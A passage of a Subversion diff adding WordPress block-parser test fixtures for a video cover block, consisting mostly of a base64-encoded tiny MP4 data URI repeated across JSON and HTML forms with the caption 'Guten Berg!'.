AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADengAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAAsJtb292AAAAbG12aGQAAAAAAAAAAAAAAAAAAAPoAAAALwABAAABAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAB7HRyYWsAAABcdGtoZAAAAAMAAAAAAAAAAAAAAAIAAAAAAAAALwAAAAAAAAAAAAAAAQEAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAACRlZHRzAAAAHGVsc3QAAAAAAAAAAQAAAC8AAAAAAAEAAAAAAWRtZGlhAAAAIG1kaGQAAAAAAAAAAAAAAAAAAKxEAAAIAFXEAAAAAAAtaGRscgAAAAAAAAAAc291bgAAAAAAAAAAAAAAAFNvdW5kSGFuZGxlcgAAAAEPbWluZgAAABBzbWhkAAAAAAAAAAAAAAAkZGluZgAAABxkcmVmAAAAAAAAAAEAAAAMdXJsIAAAAAEAAADTc3RibAAAAGdzdHNkAAAAAAAAAAEAAABXbXA0YQAAAAAAAAABAAAAAAAAAAAAAgAQAAAAAKxEAAAAAAAzZXNkcwAAAAADgICAIgACAASAgIAUQBUAAAAAAfQAAAHz+QWAgIACEhAGgICAAQIAAAAYc3R0cwAAAAAAAAABAAAAAgAABAAAAAAcc3RzYwAAAAAAAAABAAAAAQAAAAIAAAABAAAAHHN0c3oAAAAAAAAAAAAAAAIAAAFzAAABdAAAABRzdGNvAAAAAAAAAAEAAAAsAAAAYnVkdGEAAABabWV0YQAAAAAAAAAhaGRscgAAAAAAAAAAbWRpcmFwcGwAAAAAAAAAAAAAAAAtaWxzdAAAACWpdG9vAAAAHWRhdGEAAAABAAAAAExhdmY1Ni40MC4xMDE=",
+            "contentAlign": "center",
+            "hasParallax": false,
+            "dimRatio": 40,
+            "backgroundType": "video"
+        },
+        "innerBlocks": [],
+        "originalContent": "<div class=\"wp-block-cover has-background-dim-40 has-background-dim\">\n\t<video class=\"wp-block-cover__video-background\" autoplay muted loop src=\"data:video/mp4;base64,AAAAHGZ0eXBpc29tAAACAGlzb21pc28ybXA0MQAAAAhmcmVlAAAC721kYXQhEAUgpBv/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3pwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcCEQBSCkG//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADengAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAAsJtb292AAAAbG12aGQAAAAAAAAAAAAAAAAAAAPoAAAALwABAAABAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAB7HRyYWsAAABcdGtoZAAAAAMAAAAAAAAAAAAAAAIAAAAAAAAALwAAAAAAAAAAAAAAAQEAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAACRlZHRzAAAAHGVsc3QAAAAAAAAAAQAAAC8AAAAAAAEAAAAAAWRtZGlhAAAAIG1kaGQAAAAAAAAAAAAAAAAAAKxEAAAIAFXEAAAAAAAtaGRscgAAAAAAAAAAc291bgAAAAAAAAAAAAAAAFNvdW5kSGFuZGxlcgAAAAEPbWluZgAAABBzbWhkAAAAAAAAAAAAAAAkZGluZgAAABxkcmVmAAAAAAAAAAEAAAAMdXJsIAAAAAEAAADTc3RibAAAAGdzdHNkAAAAAAAAAAEAAABXbXA0YQAAAAAAAAABAAAAAAAAAAAAAgAQAAAAAKxEAAAAAAAzZXNkcwAAAAADgICAIgACAASAgIAUQBUAAAAAAfQAAAHz+QWAgIACEhAGgICAAQIAAAAYc3R0cwAAAAAAAAABAAAAAgAABAAAAAAcc3RzYwAAAAAAAAABAAAAAQAAAAIAAAABAAAAHHN0c3oAAAAAAAAAAAAAAAIAAAFzAAABdAAAABRzdGNvAAAAAAAAAAEAAAAsAAAAYnVkdGEAAABabWV0YQAAAAAAAAAhaGRscgAAAAAAAAAAbWRpcmFwcGwAAAAAAAAAAAAAAAAtaWxzdAAAACWpdG9vAAAAHWRhdGEAAAABAAAAAExhdmY1Ni40MC4xMDE=\"></video>\n\t<p class=\"wp-block-cover-text\">Guten Berg!</p>\n</div>"
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover__video.parsed.json
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover__video.parsed.json	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover__video.parsed.json	(revision 56912)
@@ -0,0 +1,24 @@
+[
+    {
+        "blockName": "core/cover",
+        "attrs": {
+            "url": "data:video/mp4;base64,AAAAHGZ0eXBpc29tAAACAGlzb21pc28ybXA0MQAAAAhmcmVlAAAC721kYXQhEAUgpBv/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3pwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcCEQBSCkG//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADengAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAAsJtb292AAAAbG12aGQAAAAAAAAAAAAAAAAAAAPoAAAALwABAAABAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAB7HRyYWsAAABcdGtoZAAAAAMAAAAAAAAAAAAAAAIAAAAAAAAALwAAAAAAAAAAAAAAAQEAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAACRlZHRzAAAAHGVsc3QAAAAAAAAAAQAAAC8AAAAAAAEAAAAAAWRtZGlhAAAAIG1kaGQAAAAAAAAAAAAAAAAAAKxEAAAIAFXEAAAAAAAtaGRscgAAAAAAAAAAc291bgAAAAAAAAAAAAAAAFNvdW5kSGFuZGxlcgAAAAEPbWluZgAAABBzbWhkAAAAAAAAAAAAAAAkZGluZgAAABxkcmVmAAAAAAAAAAEAAAAMdXJsIAAAAAEAAADTc3RibAAAAGdzdHNkAAAAAAAAAAEAAABXbXA0YQAAAAAAAAABAAAAAAAAAAAAAgAQAAAAAKxEAAAAAAAzZXNkcwAAAAADgICAIgACAASAgIAUQBUAAAAAAfQAAAHz+QWAgIACEhAGgICAAQIAAAAYc3R0cwAAAAAAAAABAAAAAgAABAAAAAAcc3RzYwAAAAAAAAABAAAAAQAAAAIAAAABAAAAHHN0c3oAAAAAAAAAAAAAAAIAAAFzAAABdAAAABRzdGNvAAAAAAAAAAEAAAAsAAAAYnVkdGEAAABabWV0YQAAAAAAAAAhaGRscgAAAAAAAAAAbWRpcmFwcGwAAAAAAAAAAAAAAAAtaWxzdAAAACWpdG9vAAAAHWRhdGEAAAABAAAAAExhdmY1Ni40MC4xMDE=",
+            "dimRatio": 40,
+            "backgroundType": "video"
+        },
+        "innerBlocks": [],
+        "innerHTML": "\n<div class=\"wp-block-cover has-background-dim-40 has-background-dim\">\n\t<video class=\"wp-block-cover__video-background\" autoplay muted loop src=\"data:video/mp4;base64,AAAAHGZ0eXBpc29tAAACAGlzb21pc28ybXA0MQAAAAhmcmVlAAAC721kYXQhEAUgpBv/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3pwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcCEQBSCkG//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADengAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAAsJtb292AAAAbG12aGQAAAAAAAAAAAAAAAAAAAPoAAAALwABAAABAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAB7HRyYWsAAABcdGtoZAAAAAMAAAAAAAAAAAAAAAIAAAAAAAAALwAAAAAAAAAAAAAAAQEAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAACRlZHRzAAAAHGVsc3QAAAAAAAAAAQAAAC8AAAAAAAEAAAAAAWRtZGlhAAAAIG1kaGQAAAAAAAAAAAAAAAAAAKxEAAAIAFXEAAAAAAAtaGRscgAAAAAAAAAAc291bgAAAAAAAAAAAAAAAFNvdW5kSGFuZGxlcgAAAAEPbWluZgAAABBzbWhkAAAAAAAAAAAAAAAkZGluZgAAABxkcmVmAAAAAAAAAAEAAAAMdXJsIAAAAAEAAADTc3RibAAAAGdzdHNkAAAAAAAAAAEAAABXbXA0YQAAAAAAAAABAAAAAAAAAAAAAgAQAAAAAKxEAAAAAAAzZXNkcwAAAAADgICAIgACAASAgIAUQBUAAAAAAfQAAAHz+QWAgIACEhAGgICAAQIAAAAYc3R0cwAAAAAAAAABAAAAAgAABAAAAAAcc3RzYwAAAAAAAAABAAAAAQAAAAIAAAABAAAAHHN0c3oAAAAAAAAAAAAAAAIAAAFzAAABdAAAABRzdGNvAAAAAAAAAAEAAAAsAAAAYnVkdGEAAABabWV0YQAAAAAAAAAhaGRscgAAAAAAAAAAbWRpcmFwcGwAAAAAAAAAAAAAAAAtaWxzdAAAACWpdG9vAAAAHWRhdGEAAAABAAAAAExhdmY1Ni40MC4xMDE=\"></video>\n\t<p class=\"wp-block-cover-text\">Guten Berg!</p>\n</div>\n",
+        "innerContent": [
+            "\n<div class=\"wp-block-cover has-background-dim-40 has-background-dim\">\n\t<video class=\"wp-block-cover__video-background\" autoplay muted loop src=\"data:video/mp4;base64,AAAAHGZ0eXBpc29tAAACAGlzb21pc28ybXA0MQAAAAhmcmVlAAAC721kYXQhEAUgpBv/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3pwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcCEQBSCkG//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADengAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAAsJtb292AAAAbG12aGQAAAAAAAAAAAAAAAAAAAPoAAAALwABAAABAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAB7HRyYWsAAABcdGtoZAAAAAMAAAAAAAAAAAAAAAIAAAAAAAAALwAAAAAAAAAAAAAAAQEAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAACRlZHRzAAAAHGVsc3QAAAAAAAAAAQAAAC8AAAAAAAEAAAAAAWRtZGlhAAAAIG1kaGQAAAAAAAAAAAAAAAAAAKxEAAAIAFXEAAAAAAAtaGRscgAAAAAAAAAAc291bgAAAAAAAAAAAAAAAFNvdW5kSGFuZGxlcgAAAAEPbWluZgAAABBzbWhkAAAAAAAAAAAAAAAkZGluZgAAABxkcmVmAAAAAAAAAAEAAAAMdXJsIAAAAAEAAADTc3RibAAAAGdzdHNkAAAAAAAAAAEAAABXbXA0YQAAAAAAAAABAAAAAAAAAAAAAgAQAAAAAKxEAAAAAAAzZXNkcwAAAAADgICAIgACAASAgIAUQBUAAAAAAfQAAAHz+QWAgIACEhAGgICAAQIAAAAYc3R0cwAAAAAAAAABAAAAAgAABAAAAAAcc3RzYwAAAAAAAAABAAAAAQAAAAIAAAABAAAAHHN0c3oAAAAAAAAAAAAAAAIAAAFzAAABdAAAABRzdGNvAAAAAAAAAAEAAAAsAAAAYnVkdGEAAABabWV0YQAAAAAAAAAhaGRscgAAAAAAAAAAbWRpcmFwcGwAAAAAAAAAAAAAAAAtaWxzdAAAACWpdG9vAAAAHWRhdGEAAAABAAAAAExhdmY1Ni40MC4xMDE=\"></video>\n\t<p class=\"wp-block-cover-text\">Guten Berg!</p>\n</div>\n"
+        ]
+    },
+    {
+        "blockName": null,
+        "attrs": {},
+        "innerBlocks": [],
+        "innerHTML": "\n",
+        "innerContent": [
+            "\n"
+        ]
+    }
+]
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover__video.serialized.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover__video.serialized.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover__video.serialized.html	(revision 56912)
@@ -0,0 +1,3 @@
+<!-- wp:cover {"url":"data:video/mp4;base64,AAAAHGZ0eXBpc29tAAACAGlzb21pc28ybXA0MQAAAAhmcmVlAAAC721kYXQhEAUgpBv/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3pwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcCEQBSCkG//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADengAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAAsJtb292AAAAbG12aGQAAAAAAAAAAAAAAAAAAAPoAAAALwABAAABAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAB7HRyYWsAAABcdGtoZAAAAAMAAAAAAAAAAAAAAAIAAAAAAAAALwAAAAAAAAAAAAAAAQEAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAACRlZHRzAAAAHGVsc3QAAAAAAAAAAQAAAC8AAAAAAAEAAAAAAWRtZGlhAAAAIG1kaGQAAAAAAAAAAAAAAAAAAKxEAAAIAFXEAAAAAAAtaGRscgAAAAAAAAAAc291bgAAAAAAAAAAAAAAAFNvdW5kSGFuZGxlcgAAAAEPbWluZgAAABBzbWhkAAAAAAAAAAAAAAAkZGluZgAAABxkcmVmAAAAAAAAAAEAAAAMdXJsIAAAAAEAAADTc3RibAAAAGdzdHNkAAAAAAAAAAEAAABXbXA0YQAAAAAAAAABAAAAAAAAAAAAAgAQAAAAAKxEAAAAAAAzZXNkcwAAAAADgICAIgACAASAgIAUQBUAAAAAAfQAAAHz+QWAgIACEhAGgICAAQIAAAAYc3R0cwAAAAAAAAABAAAAAgAABAAAAAAcc3RzYwAAAAAAAAABAAAAAQAAAAIAAAABAAAAHHN0c3oAAAAAAAAAAAAAAAIAAAFzAAABdAAAABRzdGNvAAAAAAAAAAEAAAAsAAAAYnVkdGEAAABabWV0YQAAAAAAAAAhaGRscgAAAAAAAAAAbWRpcmFwcGwAAAAAAAAAAAAAAAAtaWxzdAAAACWpdG9vAAAAHWRhdGEAAAABAAAAAExhdmY1Ni40MC4xMDE=","dimRatio":40,"backgroundType":"video"} -->
+<div class="wp-block-cover has-background-dim-40 has-background-dim"><video class="wp-block-cover__video-background" autoplay muted loop src="data:video/mp4;base64,AAAAHGZ0eXBpc29tAAACAGlzb21pc28ybXA0MQAAAAhmcmVlAAAC721kYXQhEAUgpBv/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3pwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcCEQBSCkG//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADengAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAAsJtb292AAAAbG12aGQAAAAAAAAAAAAAAAAAAAPoAAAALwABAAABAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAAB7HRyYWsAAABcdGtoZAAAAAMAAAAAAAAAAAAAAAIAAAAAAAAALwAAAAAAAAAAAAAAAQEAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAACRlZHRzAAAAHGVsc3QAAAAAAAAAAQAAAC8AAAAAAAEAAAAAAWRtZGlhAAAAIG1kaGQAAAAAAAAAAAAAAAAAAKxEAAAIAFXEAAAAAAAtaGRscgAAAAAAAAAAc291bgAAAAAAAAAAAAAAAFNvdW5kSGFuZGxlcgAAAAEPbWluZgAAABBzbWhkAAAAAAAAAAAAAAAkZGluZgAAABxkcmVmAAAAAAAAAAEAAAAMdXJsIAAAAAEAAADTc3RibAAAAGdzdHNkAAAAAAAAAAEAAABXbXA0YQAAAAAAAAABAAAAAAAAAAAAAgAQAAAAAKxEAAAAAAAzZXNkcwAAAAADgICAIgACAASAgIAUQBUAAAAAAfQAAAHz+QWAgIACEhAGgICAAQIAAAAYc3R0cwAAAAAAAAABAAAAAgAABAAAAAAcc3RzYwAAAAAAAAABAAAAAQAAAAIAAAABAAAAHHN0c3oAAAAAAAAAAAAAAAIAAAFzAAABdAAAABRzdGNvAAAAAAAAAAEAAAAsAAAAYnVkdGEAAABabWV0YQAAAAAAAAAhaGRscgAAAAAAAAAAbWRpcmFwcGwAAAAAAAAAAAAAAAAtaWxzdAAAACWpdG9vAAAAHWRhdGEAAAABAAAAAExhdmY1Ni40MC4xMDE="></video><p class="wp-block-cover-text">Guten Berg!</p></div>
+<!-- /wp:cover -->
Index: /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover__video.server.html
===================================================================
--- /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover__video.server.html	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/data/blocks/fixtures/core__cover__video.server.html	(revision 56912)
@@ -0,0 +1,6 @@
+
+<div class="wp-block-cover has-background-dim-40 has-background-dim">
+	<video class="wp-block-cover__video-background" autoplay muted loop src="data:video/mp4;base64,AAAAHGZ0eXBpc29tAAACAGlzb21pc28ybXA0MQAAAAhmcmVlAAAC721kYXQhEAUgpBv/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3pwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcCEQBSCkG//AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA